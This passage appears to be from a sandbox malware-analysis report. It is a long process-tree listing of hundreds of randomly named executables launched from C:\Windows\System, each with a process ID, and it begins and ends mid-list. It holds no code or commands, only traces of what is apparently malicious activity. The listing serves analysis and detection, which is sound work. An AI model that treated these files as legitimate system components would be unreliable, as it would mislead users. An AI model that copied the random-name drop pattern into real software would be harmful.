  2⤵
  PID:8532
- C:\Windows\System\kJDwKIl.exe
  C:\Windows\System\kJDwKIl.exe
  2⤵
  PID:8552
- C:\Windows\System\qqcLgwv.exe
  C:\Windows\System\qqcLgwv.exe
  2⤵
  PID:8572
- C:\Windows\System\sRtnIUs.exe
  C:\Windows\System\sRtnIUs.exe
  2⤵
  PID:8596
- C:\Windows\System\OqTZnVU.exe
  C:\Windows\System\OqTZnVU.exe
  2⤵
  PID:8616
- C:\Windows\System\imfsztm.exe
  C:\Windows\System\imfsztm.exe
  2⤵
  PID:8636
- C:\Windows\System\QKhOVTe.exe
  C:\Windows\System\QKhOVTe.exe
  2⤵
  PID:8652
- C:\Windows\System\utfyFqB.exe
  C:\Windows\System\utfyFqB.exe
  2⤵
  PID:8668
- C:\Windows\System\SFwTzsy.exe
  C:\Windows\System\SFwTzsy.exe
  2⤵
  PID:8692
- C:\Windows\System\sJOzOUt.exe
  C:\Windows\System\sJOzOUt.exe
  2⤵
  PID:8712
- C:\Windows\System\fpTKHpp.exe
  C:\Windows\System\fpTKHpp.exe
  2⤵
  PID:8732
- C:\Windows\System\XgSdTLy.exe
  C:\Windows\System\XgSdTLy.exe
  2⤵
  PID:8752
- C:\Windows\System\glriFta.exe
  C:\Windows\System\glriFta.exe
  2⤵
  PID:8780
- C:\Windows\System\puYAVvY.exe
  C:\Windows\System\puYAVvY.exe
  2⤵
  PID:8796
- C:\Windows\System\QQVBoiG.exe
  C:\Windows\System\QQVBoiG.exe
  2⤵
  PID:8820
- C:\Windows\System\TyEnNsT.exe
  C:\Windows\System\TyEnNsT.exe
  2⤵
  PID:8840
- C:\Windows\System\SWCSzQg.exe
  C:\Windows\System\SWCSzQg.exe
  2⤵
  PID:8860
- C:\Windows\System\nuTqvyS.exe
  C:\Windows\System\nuTqvyS.exe
  2⤵
  PID:8884
- C:\Windows\System\PaIvHnk.exe
  C:\Windows\System\PaIvHnk.exe
  2⤵
  PID:8900
- C:\Windows\System\eMGWReK.exe
  C:\Windows\System\eMGWReK.exe
  2⤵
  PID:8920
- C:\Windows\System\JZqukml.exe
  C:\Windows\System\JZqukml.exe
  2⤵
  PID:8948
- C:\Windows\System\NWExmVh.exe
  C:\Windows\System\NWExmVh.exe
  2⤵
  PID:8968
- C:\Windows\System\oHxtquy.exe
  C:\Windows\System\oHxtquy.exe
  2⤵
  PID:8984
- C:\Windows\System\DSNkYFx.exe
  C:\Windows\System\DSNkYFx.exe
  2⤵
  PID:9004
- C:\Windows\System\xECQlvD.exe
  C:\Windows\System\xECQlvD.exe
  2⤵
  PID:9028
- C:\Windows\System\bfIIrNv.exe
  C:\Windows\System\bfIIrNv.exe
  2⤵
  PID:9048
- C:\Windows\System\mOXUXOi.exe
  C:\Windows\System\mOXUXOi.exe
  2⤵
  PID:9072
- C:\Windows\System\FJGFWCT.exe
  C:\Windows\System\FJGFWCT.exe
  2⤵
  PID:9092
- C:\Windows\System\rfKywJD.exe
  C:\Windows\System\rfKywJD.exe
  2⤵
  PID:9108
- C:\Windows\System\eLIKpqB.exe
  C:\Windows\System\eLIKpqB.exe
  2⤵
  PID:9132
- C:\Windows\System\AouQshb.exe
  C:\Windows\System\AouQshb.exe
  2⤵
  PID:9152
- C:\Windows\System\yfenNFk.exe
  C:\Windows\System\yfenNFk.exe
  2⤵
  PID:9172
- C:\Windows\System\DwOZpqG.exe
  C:\Windows\System\DwOZpqG.exe
  2⤵
  PID:9192
- C:\Windows\System\hOGhRZu.exe
  C:\Windows\System\hOGhRZu.exe
  2⤵
  PID:9212
- C:\Windows\System\PMtvYQR.exe
  C:\Windows\System\PMtvYQR.exe
  2⤵
  PID:7204
- C:\Windows\System\CLmpJmc.exe
  C:\Windows\System\CLmpJmc.exe
  2⤵
  PID:7260
- C:\Windows\System\ekrAFXj.exe
  C:\Windows\System\ekrAFXj.exe
  2⤵
  PID:7984
- C:\Windows\System\SHfoTMz.exe
  C:\Windows\System\SHfoTMz.exe
  2⤵
  PID:5880
- C:\Windows\System\FOmTugg.exe
  C:\Windows\System\FOmTugg.exe
  2⤵
  PID:6344
- C:\Windows\System\aGCIEZZ.exe
  C:\Windows\System\aGCIEZZ.exe
  2⤵
  PID:7432
- C:\Windows\System\KDqwyIU.exe
  C:\Windows\System\KDqwyIU.exe
  2⤵
  PID:7508
- C:\Windows\System\cGCeQWZ.exe
  C:\Windows\System\cGCeQWZ.exe
  2⤵
  PID:6508
- C:\Windows\System\PRUFzOA.exe
  C:\Windows\System\PRUFzOA.exe
  2⤵
  PID:6276
- C:\Windows\System\ARygQQl.exe
  C:\Windows\System\ARygQQl.exe
  2⤵
  PID:7620
- C:\Windows\System\QVgeoRI.exe
  C:\Windows\System\QVgeoRI.exe
  2⤵
  PID:6924
- C:\Windows\System\NlNHQQj.exe
  C:\Windows\System\NlNHQQj.exe
  2⤵
  PID:7772
- C:\Windows\System\yiQhUtV.exe
  C:\Windows\System\yiQhUtV.exe
  2⤵
  PID:9224
- C:\Windows\System\DxZaCee.exe
  C:\Windows\System\DxZaCee.exe
  2⤵
  PID:9244
- C:\Windows\System\XPcIKut.exe
  C:\Windows\System\XPcIKut.exe
  2⤵
  PID:9264
- C:\Windows\System\CFCsEyu.exe
  C:\Windows\System\CFCsEyu.exe
  2⤵
  PID:9288
- C:\Windows\System\BaiESiu.exe
  C:\Windows\System\BaiESiu.exe
  2⤵
  PID:9308
- C:\Windows\System\wUoxoTV.exe
  C:\Windows\System\wUoxoTV.exe
  2⤵
  PID:9328
- C:\Windows\System\HlnhVqZ.exe
  C:\Windows\System\HlnhVqZ.exe
  2⤵
  PID:9344
- C:\Windows\System\DrOVRss.exe
  C:\Windows\System\DrOVRss.exe
  2⤵
  PID:9368
- C:\Windows\System\LBhomwd.exe
  C:\Windows\System\LBhomwd.exe
  2⤵
  PID:9388
- C:\Windows\System\JfJwbwe.exe
  C:\Windows\System\JfJwbwe.exe
  2⤵
  PID:9404
- C:\Windows\System\MpbwZdz.exe
  C:\Windows\System\MpbwZdz.exe
  2⤵
  PID:9424
- C:\Windows\System\jCaMKPA.exe
  C:\Windows\System\jCaMKPA.exe
  2⤵
  PID:9448
- C:\Windows\System\NZpbLBC.exe
  C:\Windows\System\NZpbLBC.exe
  2⤵
  PID:9468
- C:\Windows\System\ZoRiWSf.exe
  C:\Windows\System\ZoRiWSf.exe
  2⤵
  PID:9492
- C:\Windows\System\ffdgMrL.exe
  C:\Windows\System\ffdgMrL.exe
  2⤵
  PID:9532
- C:\Windows\System\SBdgUSe.exe
  C:\Windows\System\SBdgUSe.exe
  2⤵
  PID:8064
- C:\Windows\System\fmnvLAL.exe
  C:\Windows\System\fmnvLAL.exe
  2⤵
  PID:5808
- C:\Windows\System\FLqZFQa.exe
  C:\Windows\System\FLqZFQa.exe
  2⤵
  PID:8172
- C:\Windows\System\FZJvSQk.exe
  C:\Windows\System\FZJvSQk.exe
  2⤵
  PID:9064
- C:\Windows\System\zSyAvMK.exe
  C:\Windows\System\zSyAvMK.exe
  2⤵
  PID:9140
- C:\Windows\System\WOmXYht.exe
  C:\Windows\System\WOmXYht.exe
  2⤵
  PID:9688
- C:\Windows\System\DFzJluG.exe
  C:\Windows\System\DFzJluG.exe
  2⤵
  PID:7904
- C:\Windows\System\NEXTEDJ.exe
  C:\Windows\System\NEXTEDJ.exe
  2⤵
  PID:8080
- C:\Windows\System\oChpbdu.exe
  C:\Windows\System\oChpbdu.exe
  2⤵
  PID:7744
- C:\Windows\System\BpDHAzz.exe
  C:\Windows\System\BpDHAzz.exe
  2⤵
  PID:7068
- C:\Windows\System\dSeMyqd.exe
  C:\Windows\System\dSeMyqd.exe
  2⤵
  PID:7104
- C:\Windows\System\dokTTiI.exe
  C:\Windows\System\dokTTiI.exe
  2⤵
  PID:8208
- C:\Windows\System\CukgiAt.exe
  C:\Windows\System\CukgiAt.exe
  2⤵
  PID:8272
- C:\Windows\System\shWSeTH.exe
  C:\Windows\System\shWSeTH.exe
  2⤵
  PID:8396
- C:\Windows\System\RByJNFp.exe
  C:\Windows\System\RByJNFp.exe
  2⤵
  PID:8480
- C:\Windows\System\hbGwydq.exe
  C:\Windows\System\hbGwydq.exe
  2⤵
  PID:8544
- C:\Windows\System\xvCdkUs.exe
  C:\Windows\System\xvCdkUs.exe
  2⤵
  PID:8648
- C:\Windows\System\miySpyk.exe
  C:\Windows\System\miySpyk.exe
  2⤵
  PID:8708
- C:\Windows\System\vIhqoRv.exe
  C:\Windows\System\vIhqoRv.exe
  2⤵
  PID:8832
- C:\Windows\System\TApSHtx.exe
  C:\Windows\System\TApSHtx.exe
  2⤵
  PID:8744
- C:\Windows\System\otLpPCv.exe
  C:\Windows\System\otLpPCv.exe
  2⤵
  PID:7700
- C:\Windows\System\QRoiwLL.exe
  C:\Windows\System\QRoiwLL.exe
  2⤵
  PID:700
- C:\Windows\System\knMmonG.exe
  C:\Windows\System\knMmonG.exe
  2⤵
  PID:6196
- C:\Windows\System\oOLnreq.exe
  C:\Windows\System\oOLnreq.exe
  2⤵
  PID:10000
- C:\Windows\System\aQxNecX.exe
  C:\Windows\System\aQxNecX.exe
  2⤵
  PID:9208
- C:\Windows\System\fYdvCYb.exe
  C:\Windows\System\fYdvCYb.exe
  2⤵
  PID:10088
- C:\Windows\System\NAgPGTD.exe
  C:\Windows\System\NAgPGTD.exe
  2⤵
  PID:10132
- C:\Windows\System\QnxEQxb.exe
  C:\Windows\System\QnxEQxb.exe
  2⤵
  PID:10128
- C:\Windows\System\PQoFsWb.exe
  C:\Windows\System\PQoFsWb.exe
  2⤵
  PID:8476
- C:\Windows\System\cVzDtHU.exe
  C:\Windows\System\cVzDtHU.exe
  2⤵
  PID:9876
- C:\Windows\System\esxDFoH.exe
  C:\Windows\System\esxDFoH.exe
  2⤵
  PID:9924
- C:\Windows\System\GEDSpBM.exe
  C:\Windows\System\GEDSpBM.exe
  2⤵
  PID:9084
- C:\Windows\System\yjairDk.exe
  C:\Windows\System\yjairDk.exe
  2⤵
  PID:7240
- C:\Windows\System\SccuRyl.exe
  C:\Windows\System\SccuRyl.exe
  2⤵
  PID:9144
- C:\Windows\System\cOddZat.exe
  C:\Windows\System\cOddZat.exe
  2⤵
  PID:9960
- C:\Windows\System\gHmxEFb.exe
  C:\Windows\System\gHmxEFb.exe
  2⤵
  PID:9320
- C:\Windows\System\ZnPdXeO.exe
  C:\Windows\System\ZnPdXeO.exe
  2⤵
  PID:10048
- C:\Windows\System\AsJXqHK.exe
  C:\Windows\System\AsJXqHK.exe
  2⤵
  PID:10104
- C:\Windows\System\RTpFbdX.exe
  C:\Windows\System\RTpFbdX.exe
  2⤵
  PID:10176
- C:\Windows\System\nyioFMZ.exe
  C:\Windows\System\nyioFMZ.exe
  2⤵
  PID:8980
- C:\Windows\System\UqJMTgu.exe
  C:\Windows\System\UqJMTgu.exe
  2⤵
  PID:7132
- C:\Windows\System\srbAgmU.exe
  C:\Windows\System\srbAgmU.exe
  2⤵
  PID:10248
- C:\Windows\System\xtLmCSX.exe
  C:\Windows\System\xtLmCSX.exe
  2⤵
  PID:10280
- C:\Windows\System\fgootVG.exe
  C:\Windows\System\fgootVG.exe
  2⤵
  PID:10300
- C:\Windows\System\danhhyR.exe
  C:\Windows\System\danhhyR.exe
  2⤵
  PID:10316
- C:\Windows\System\rpfuKgf.exe
  C:\Windows\System\rpfuKgf.exe
  2⤵
  PID:10332
- C:\Windows\System\hcVYxKr.exe
  C:\Windows\System\hcVYxKr.exe
  2⤵
  PID:10352
- C:\Windows\System\jwZDvzv.exe
  C:\Windows\System\jwZDvzv.exe
  2⤵
  PID:10376
- C:\Windows\System\sXZsKAH.exe
  C:\Windows\System\sXZsKAH.exe
  2⤵
  PID:10392
- C:\Windows\System\bhZtiRc.exe
  C:\Windows\System\bhZtiRc.exe
  2⤵
  PID:10412
- C:\Windows\System\KeRuZvz.exe
  C:\Windows\System\KeRuZvz.exe
  2⤵
  PID:10432
- C:\Windows\System\HYvfOsT.exe
  C:\Windows\System\HYvfOsT.exe
  2⤵
  PID:10456
- C:\Windows\System\QycXvHG.exe
  C:\Windows\System\QycXvHG.exe
  2⤵
  PID:10472
- C:\Windows\System\QCQeAcD.exe
  C:\Windows\System\QCQeAcD.exe
  2⤵
  PID:10492
- C:\Windows\System\CfmwIxD.exe
  C:\Windows\System\CfmwIxD.exe
  2⤵
  PID:10516
- C:\Windows\System\GeQDZqS.exe
  C:\Windows\System\GeQDZqS.exe
  2⤵
  PID:10532
- C:\Windows\System\wJjPnAw.exe
  C:\Windows\System\wJjPnAw.exe
  2⤵
  PID:10556
- C:\Windows\System\cwsSllC.exe
  C:\Windows\System\cwsSllC.exe
  2⤵
  PID:10580
- C:\Windows\System\waOybPy.exe
  C:\Windows\System\waOybPy.exe
  2⤵
  PID:10604
- C:\Windows\System\ZCdkHvP.exe
  C:\Windows\System\ZCdkHvP.exe
  2⤵
  PID:10628
- C:\Windows\System\rWGqooR.exe
  C:\Windows\System\rWGqooR.exe
  2⤵
  PID:10664
- C:\Windows\System\NexDVCg.exe
  C:\Windows\System\NexDVCg.exe
  2⤵
  PID:10684
- C:\Windows\System\wtOYsOW.exe
  C:\Windows\System\wtOYsOW.exe
  2⤵
  PID:10700
- C:\Windows\System\vNfLfYa.exe
  C:\Windows\System\vNfLfYa.exe
  2⤵
  PID:10724
- C:\Windows\System\MfJExqh.exe
  C:\Windows\System\MfJExqh.exe
  2⤵
  PID:10748
- C:\Windows\System\eFlvVdj.exe
  C:\Windows\System\eFlvVdj.exe
  2⤵
  PID:10772
- C:\Windows\System\mkaNNVl.exe
  C:\Windows\System\mkaNNVl.exe
  2⤵
  PID:10792
- C:\Windows\System\mDClyHa.exe
  C:\Windows\System\mDClyHa.exe
  2⤵
  PID:10808
- C:\Windows\System\cbUgvHp.exe
  C:\Windows\System\cbUgvHp.exe
  2⤵
  PID:10824
- C:\Windows\System\UzDqpBw.exe
  C:\Windows\System\UzDqpBw.exe
  2⤵
  PID:10840
- C:\Windows\System\iVrwgRv.exe
  C:\Windows\System\iVrwgRv.exe
  2⤵
  PID:10860
- C:\Windows\System\ZhiRVrk.exe
  C:\Windows\System\ZhiRVrk.exe
  2⤵
  PID:10880
- C:\Windows\System\qlfXQGi.exe
  C:\Windows\System\qlfXQGi.exe
  2⤵
  PID:10912
- C:\Windows\System\iMecedb.exe
  C:\Windows\System\iMecedb.exe
  2⤵
  PID:10928
- C:\Windows\System\KpdJeme.exe
  C:\Windows\System\KpdJeme.exe
  2⤵
  PID:10952
- C:\Windows\System\bvwAJup.exe
  C:\Windows\System\bvwAJup.exe
  2⤵
  PID:10968
- C:\Windows\System\ZgtsXHt.exe
  C:\Windows\System\ZgtsXHt.exe
  2⤵
  PID:10988
- C:\Windows\System\zHlRNQD.exe
  C:\Windows\System\zHlRNQD.exe
  2⤵
  PID:11008
- C:\Windows\System\MmUyWqH.exe
  C:\Windows\System\MmUyWqH.exe
  2⤵
  PID:11024
- C:\Windows\System\pCscndT.exe
  C:\Windows\System\pCscndT.exe
  2⤵
  PID:11044
- C:\Windows\System\BbJVVjE.exe
  C:\Windows\System\BbJVVjE.exe
  2⤵
  PID:11064
- C:\Windows\System\rJfMgfm.exe
  C:\Windows\System\rJfMgfm.exe
  2⤵
  PID:11080
- C:\Windows\System\dktvDeF.exe
  C:\Windows\System\dktvDeF.exe
  2⤵
  PID:11104
- C:\Windows\System\rpmDoIN.exe
  C:\Windows\System\rpmDoIN.exe
  2⤵
  PID:11120
- C:\Windows\System\TbPgYoq.exe
  C:\Windows\System\TbPgYoq.exe
  2⤵
  PID:11140
- C:\Windows\System\kFDrQEq.exe
  C:\Windows\System\kFDrQEq.exe
  2⤵
  PID:11164
- C:\Windows\System\OeXTUyE.exe
  C:\Windows\System\OeXTUyE.exe
  2⤵
  PID:11192
- C:\Windows\System\xhTarVv.exe
  C:\Windows\System\xhTarVv.exe
  2⤵
  PID:11216
- C:\Windows\System\HCmRlYI.exe
  C:\Windows\System\HCmRlYI.exe
  2⤵
  PID:11236
- C:\Windows\System\OJHFcMs.exe
  C:\Windows\System\OJHFcMs.exe
  2⤵
  PID:11260
- C:\Windows\System\NJzhVNn.exe
  C:\Windows\System\NJzhVNn.exe
  2⤵
  PID:8516
- C:\Windows\System\DmigxSD.exe
  C:\Windows\System\DmigxSD.exe
  2⤵
  PID:9632
- C:\Windows\System\lqUIazR.exe
  C:\Windows\System\lqUIazR.exe
  2⤵
  PID:8876
- C:\Windows\System\HlmkDbf.exe
  C:\Windows\System\HlmkDbf.exe
  2⤵
  PID:8040
- C:\Windows\System\rKVdaqW.exe
  C:\Windows\System\rKVdaqW.exe
  2⤵
  PID:9168
- C:\Windows\System\PbnsqVp.exe
  C:\Windows\System\PbnsqVp.exe
  2⤵
  PID:8996
- C:\Windows\System\vUGuGSG.exe
  C:\Windows\System\vUGuGSG.exe
  2⤵
  PID:9952
- C:\Windows\System\JbmIgVb.exe
  C:\Windows\System\JbmIgVb.exe
  2⤵
  PID:6364
- C:\Windows\System\pegTpMw.exe
  C:\Windows\System\pegTpMw.exe
  2⤵
  PID:8660
- C:\Windows\System\mlcnspb.exe
  C:\Windows\System\mlcnspb.exe
  2⤵
  PID:10296
- C:\Windows\System\cWKsGvH.exe
  C:\Windows\System\cWKsGvH.exe
  2⤵
  PID:11284
- C:\Windows\System\DCYEhxI.exe
  C:\Windows\System\DCYEhxI.exe
  2⤵
  PID:11300
- C:\Windows\System\ILtCUNu.exe
  C:\Windows\System\ILtCUNu.exe
  2⤵
  PID:11316
- C:\Windows\System\TFJaeUE.exe
  C:\Windows\System\TFJaeUE.exe
  2⤵
  PID:11336
- C:\Windows\System\CpQYZPz.exe
  C:\Windows\System\CpQYZPz.exe
  2⤵
  PID:11356
- C:\Windows\System\zEAJJXf.exe
  C:\Windows\System\zEAJJXf.exe
  2⤵
  PID:11372
- C:\Windows\System\rQkqJUP.exe
  C:\Windows\System\rQkqJUP.exe
  2⤵
  PID:11396
- C:\Windows\System\XhMqqPy.exe
  C:\Windows\System\XhMqqPy.exe
  2⤵
  PID:11412
- C:\Windows\System\wPseFJO.exe
  C:\Windows\System\wPseFJO.exe
  2⤵
  PID:11440
- C:\Windows\System\VxJTlhL.exe
  C:\Windows\System\VxJTlhL.exe
  2⤵
  PID:11748
- C:\Windows\System\WfFSUtF.exe
  C:\Windows\System\WfFSUtF.exe
  2⤵
  PID:11772
- C:\Windows\System\gghOmxG.exe
  C:\Windows\System\gghOmxG.exe
  2⤵
  PID:11788
- C:\Windows\System\WxntelS.exe
  C:\Windows\System\WxntelS.exe
  2⤵
  PID:11812
- C:\Windows\System\pXclOfD.exe
  C:\Windows\System\pXclOfD.exe
  2⤵
  PID:11828
- C:\Windows\System\nYwFEHF.exe
  C:\Windows\System\nYwFEHF.exe
  2⤵
  PID:11852
- C:\Windows\System\PagqAsB.exe
  C:\Windows\System\PagqAsB.exe
  2⤵
  PID:11872
- C:\Windows\System\MQpYWrD.exe
  C:\Windows\System\MQpYWrD.exe
  2⤵
  PID:11892
- C:\Windows\System\UHwqfuh.exe
  C:\Windows\System\UHwqfuh.exe
  2⤵
  PID:11912
- C:\Windows\System\AKyjepr.exe
  C:\Windows\System\AKyjepr.exe
  2⤵
  PID:12068
- C:\Windows\System\aHTPJNp.exe
  C:\Windows\System\aHTPJNp.exe
  2⤵
  PID:12088
- C:\Windows\System\SHyCnNv.exe
  C:\Windows\System\SHyCnNv.exe
  2⤵
  PID:12108
- C:\Windows\System\lvUwSMC.exe
  C:\Windows\System\lvUwSMC.exe
  2⤵
  PID:12128
- C:\Windows\System\dbynoDc.exe
  C:\Windows\System\dbynoDc.exe
  2⤵
  PID:12144
- C:\Windows\System\imJYKym.exe
  C:\Windows\System\imJYKym.exe
  2⤵
  PID:12160
- C:\Windows\System\EAJfScz.exe
  C:\Windows\System\EAJfScz.exe
  2⤵
  PID:12192
- C:\Windows\System\sSrJvDo.exe
  C:\Windows\System\sSrJvDo.exe
  2⤵
  PID:12212
- C:\Windows\System\DNVygAV.exe
  C:\Windows\System\DNVygAV.exe
  2⤵
  PID:12232
- C:\Windows\System\ttZlGWJ.exe
  C:\Windows\System\ttZlGWJ.exe
  2⤵
  PID:12252
- C:\Windows\System\GtvYron.exe
  C:\Windows\System\GtvYron.exe
  2⤵
  PID:12272
- C:\Windows\System\sgMLhBl.exe
  C:\Windows\System\sgMLhBl.exe
  2⤵
  PID:9780
- C:\Windows\System\BfsfxTQ.exe
  C:\Windows\System\BfsfxTQ.exe
  2⤵
  PID:10440
- C:\Windows\System\UNoZolU.exe
  C:\Windows\System\UNoZolU.exe
  2⤵
  PID:10572
- C:\Windows\System\sDBWktk.exe
  C:\Windows\System\sDBWktk.exe
  2⤵
  PID:9624
- C:\Windows\System\kOcnGxp.exe
  C:\Windows\System\kOcnGxp.exe
  2⤵
  PID:10768
- C:\Windows\System\eVQDSGM.exe
  C:\Windows\System\eVQDSGM.exe
  2⤵
  PID:9912
- C:\Windows\System\gHEMhbD.exe
  C:\Windows\System\gHEMhbD.exe
  2⤵
  PID:10016
- C:\Windows\System\kDTyXRN.exe
  C:\Windows\System\kDTyXRN.exe
  2⤵
  PID:11112
- C:\Windows\System\IXqlqMF.exe
  C:\Windows\System\IXqlqMF.exe
  2⤵
  PID:11184
- C:\Windows\System\NKrMHdo.exe
  C:\Windows\System\NKrMHdo.exe
  2⤵
  PID:11248
- C:\Windows\System\uZONVcd.exe
  C:\Windows\System\uZONVcd.exe
  2⤵
  PID:2252
- C:\Windows\System\fwAmIPX.exe
  C:\Windows\System\fwAmIPX.exe
  2⤵
  PID:8500
- C:\Windows\System\EDaXoOs.exe
  C:\Windows\System\EDaXoOs.exe
  2⤵
  PID:8204
- C:\Windows\System\zqessIl.exe
  C:\Windows\System\zqessIl.exe
  2⤵
  PID:11368
- C:\Windows\System\jTWukMt.exe
  C:\Windows\System\jTWukMt.exe
  2⤵
  PID:10400
- C:\Windows\System\azlLkje.exe
  C:\Windows\System\azlLkje.exe
  2⤵
  PID:10500
- C:\Windows\System\ZjaHVhm.exe
  C:\Windows\System\ZjaHVhm.exe
  2⤵
  PID:10528
- C:\Windows\System\xmEcKCf.exe
  C:\Windows\System\xmEcKCf.exe
  2⤵
  PID:10588
- C:\Windows\System\UKHxbRc.exe
  C:\Windows\System\UKHxbRc.exe
  2⤵
  PID:9884
- C:\Windows\System\EmylZzi.exe
  C:\Windows\System\EmylZzi.exe
  2⤵
  PID:10676
- C:\Windows\System\pnuDpsf.exe
  C:\Windows\System\pnuDpsf.exe
  2⤵
  PID:10788
- C:\Windows\System\oofwPGn.exe
  C:\Windows\System\oofwPGn.exe
  2⤵
  PID:10816
- C:\Windows\System\YVurGUO.exe
  C:\Windows\System\YVurGUO.exe
  2⤵
  PID:10924
- C:\Windows\System\MzdOSfR.exe
  C:\Windows\System\MzdOSfR.exe
  2⤵
  PID:10944
- C:\Windows\System\taBIkSA.exe
  C:\Windows\System\taBIkSA.exe
  2⤵
  PID:6792
- C:\Windows\System\kXgdAKT.exe
  C:\Windows\System\kXgdAKT.exe
  2⤵
  PID:9540
- C:\Windows\System\dckkEgJ.exe
  C:\Windows\System\dckkEgJ.exe
  2⤵
  PID:8388
- C:\Windows\System\CfqKUHM.exe
  C:\Windows\System\CfqKUHM.exe
  2⤵
  PID:8348
- C:\Windows\System\cPUvhgn.exe
  C:\Windows\System\cPUvhgn.exe
  2⤵
  PID:11156
- C:\Windows\System\kVuwdLQ.exe
  C:\Windows\System\kVuwdLQ.exe
  2⤵
  PID:9396
- C:\Windows\System\abKJXoD.exe
  C:\Windows\System\abKJXoD.exe
  2⤵
  PID:8176
- C:\Windows\System\zDamQrH.exe
  C:\Windows\System\zDamQrH.exe
  2⤵
  PID:8252
- C:\Windows\System\LyKWgVH.exe
  C:\Windows\System\LyKWgVH.exe
  2⤵
  PID:9944
- C:\Windows\System\DwSytVs.exe
  C:\Windows\System\DwSytVs.exe
  2⤵
  PID:10172
- C:\Windows\System\PvPZXrp.exe
  C:\Windows\System\PvPZXrp.exe
  2⤵
  PID:10312
- C:\Windows\System\gutaFrx.exe
  C:\Windows\System\gutaFrx.exe
  2⤵
  PID:11448
- C:\Windows\System\keSdwHX.exe
  C:\Windows\System\keSdwHX.exe
  2⤵
  PID:10720
- C:\Windows\System\HmaESzs.exe
  C:\Windows\System\HmaESzs.exe
  2⤵
  PID:10892
- C:\Windows\System\FunffAJ.exe
  C:\Windows\System\FunffAJ.exe
  2⤵
  PID:11808
- C:\Windows\System\QHEFeGj.exe
  C:\Windows\System\QHEFeGj.exe
  2⤵
  PID:11020
- C:\Windows\System\vNfHMVO.exe
  C:\Windows\System\vNfHMVO.exe
  2⤵
  PID:8416
- C:\Windows\System\rqPtUxs.exe
  C:\Windows\System\rqPtUxs.exe
  2⤵
  PID:12296
- C:\Windows\System\sVgHKcN.exe
  C:\Windows\System\sVgHKcN.exe
  2⤵
  PID:12316
- C:\Windows\System\YVrNmkA.exe
  C:\Windows\System\YVrNmkA.exe
  2⤵
  PID:12340
- C:\Windows\System\NkWCEOZ.exe
  C:\Windows\System\NkWCEOZ.exe
  2⤵
  PID:12360
- C:\Windows\System\PRDIKCO.exe
  C:\Windows\System\PRDIKCO.exe
  2⤵
  PID:12384
- C:\Windows\System\OerQtqj.exe
  C:\Windows\System\OerQtqj.exe
  2⤵
  PID:12404
- C:\Windows\System\pXCvYYQ.exe
  C:\Windows\System\pXCvYYQ.exe
  2⤵
  PID:12424
- C:\Windows\System\ydbWAKZ.exe
  C:\Windows\System\ydbWAKZ.exe
  2⤵
  PID:12448
- C:\Windows\System\GlXfLXI.exe
  C:\Windows\System\GlXfLXI.exe
  2⤵
  PID:12476
- C:\Windows\System\wunaZhp.exe
  C:\Windows\System\wunaZhp.exe
  2⤵
  PID:12492
- C:\Windows\System\ekyMJUC.exe
  C:\Windows\System\ekyMJUC.exe
  2⤵
  PID:12512
- C:\Windows\System\fesOGgE.exe
  C:\Windows\System\fesOGgE.exe
  2⤵
  PID:12528
- C:\Windows\System\jgKnemv.exe
  C:\Windows\System\jgKnemv.exe
  2⤵
  PID:12544
- C:\Windows\System\kTCaEoE.exe
  C:\Windows\System\kTCaEoE.exe
  2⤵
  PID:12908
- C:\Windows\System\DsFBJIp.exe
  C:\Windows\System\DsFBJIp.exe
  2⤵
  PID:12932
- C:\Windows\System\ySNfOVt.exe
  C:\Windows\System\ySNfOVt.exe
  2⤵
  PID:10696
- C:\Windows\System\NOmzBtz.exe
  C:\Windows\System\NOmzBtz.exe
  2⤵
  PID:10404
- C:\Windows\System\mKVJMro.exe
  C:\Windows\System\mKVJMro.exe
  2⤵
  PID:10760
- C:\Windows\System\znbinIr.exe
  C:\Windows\System\znbinIr.exe
  2⤵
  PID:11744
- C:\Windows\System\ICtOVqA.exe
  C:\Windows\System\ICtOVqA.exe
  2⤵
  PID:11544
- C:\Windows\System\SdEpSzT.exe
  C:\Windows\System\SdEpSzT.exe
  2⤵
  PID:12540
- C:\Windows\System\uuZqRju.exe
  C:\Windows\System\uuZqRju.exe
  2⤵
  PID:12156
- C:\Windows\System\tXGlEIb.exe
  C:\Windows\System\tXGlEIb.exe
  2⤵
  PID:12244
- C:\Windows\System\DfVYnND.exe
  C:\Windows\System\DfVYnND.exe
  2⤵
  PID:11128
- C:\Windows\System\XcFYtEs.exe
  C:\Windows\System\XcFYtEs.exe
  2⤵
  PID:12668
- C:\Windows\System\kmlOurO.exe
  C:\Windows\System\kmlOurO.exe
  2⤵
  PID:12100
- C:\Windows\System\RQVJjrC.exe
  C:\Windows\System\RQVJjrC.exe
  2⤵
  PID:13280
- C:\Windows\System\FtMQCED.exe
  C:\Windows\System\FtMQCED.exe
  2⤵
  PID:11292
- C:\Windows\System\rUpscMs.exe
  C:\Windows\System\rUpscMs.exe
  2⤵
  PID:8720
- C:\Windows\System\EEbPuYS.exe
  C:\Windows\System\EEbPuYS.exe
  2⤵
  PID:11784
- C:\Windows\System\OBdPFHb.exe
  C:\Windows\System\OBdPFHb.exe
  2⤵
  PID:8748
- C:\Windows\System\BeVkoKo.exe
  C:\Windows\System\BeVkoKo.exe
  2⤵
  PID:12324
- C:\Windows\System\umkwWca.exe
  C:\Windows\System\umkwWca.exe
  2⤵
  PID:11420
- C:\Windows\System\cnfCMnT.exe
  C:\Windows\System\cnfCMnT.exe
  2⤵
  PID:11632
- C:\Windows\System\mdJjrJA.exe
  C:\Windows\System\mdJjrJA.exe
  2⤵
  PID:13292
- C:\Windows\System\XHpUQWU.exe
  C:\Windows\System\XHpUQWU.exe
  2⤵
  PID:12736
- C:\Windows\System\qiOYJgA.exe
  C:\Windows\System\qiOYJgA.exe
  2⤵
  PID:10384
- C:\Windows\System\rrAVwen.exe
  C:\Windows\System\rrAVwen.exe
  2⤵
  PID:12352
- C:\Windows\System\rqzKoxh.exe
  C:\Windows\System\rqzKoxh.exe
  2⤵
  PID:9440
- C:\Windows\System\ealzhtC.exe
  C:\Windows\System\ealzhtC.exe
  2⤵
  PID:6744
- C:\Windows\System\XdOHIXx.exe
  C:\Windows\System\XdOHIXx.exe
  2⤵
  PID:8592
- C:\Windows\System\HqNZGpS.exe
  C:\Windows\System\HqNZGpS.exe
  2⤵
  PID:2944
- C:\Windows\System\JDsPMwT.exe
  C:\Windows\System\JDsPMwT.exe
  2⤵
  PID:13200
- C:\Windows\System\OCmnscr.exe
  C:\Windows\System\OCmnscr.exe
  2⤵
  PID:1972
- C:\Windows\System\DbUChCo.exe
  C:\Windows\System\DbUChCo.exe
  2⤵
  PID:13156
- C:\Windows\System\AzSGmgi.exe
  C:\Windows\System\AzSGmgi.exe
  2⤵
  PID:12228
- C:\Windows\System\oszLgUs.exe
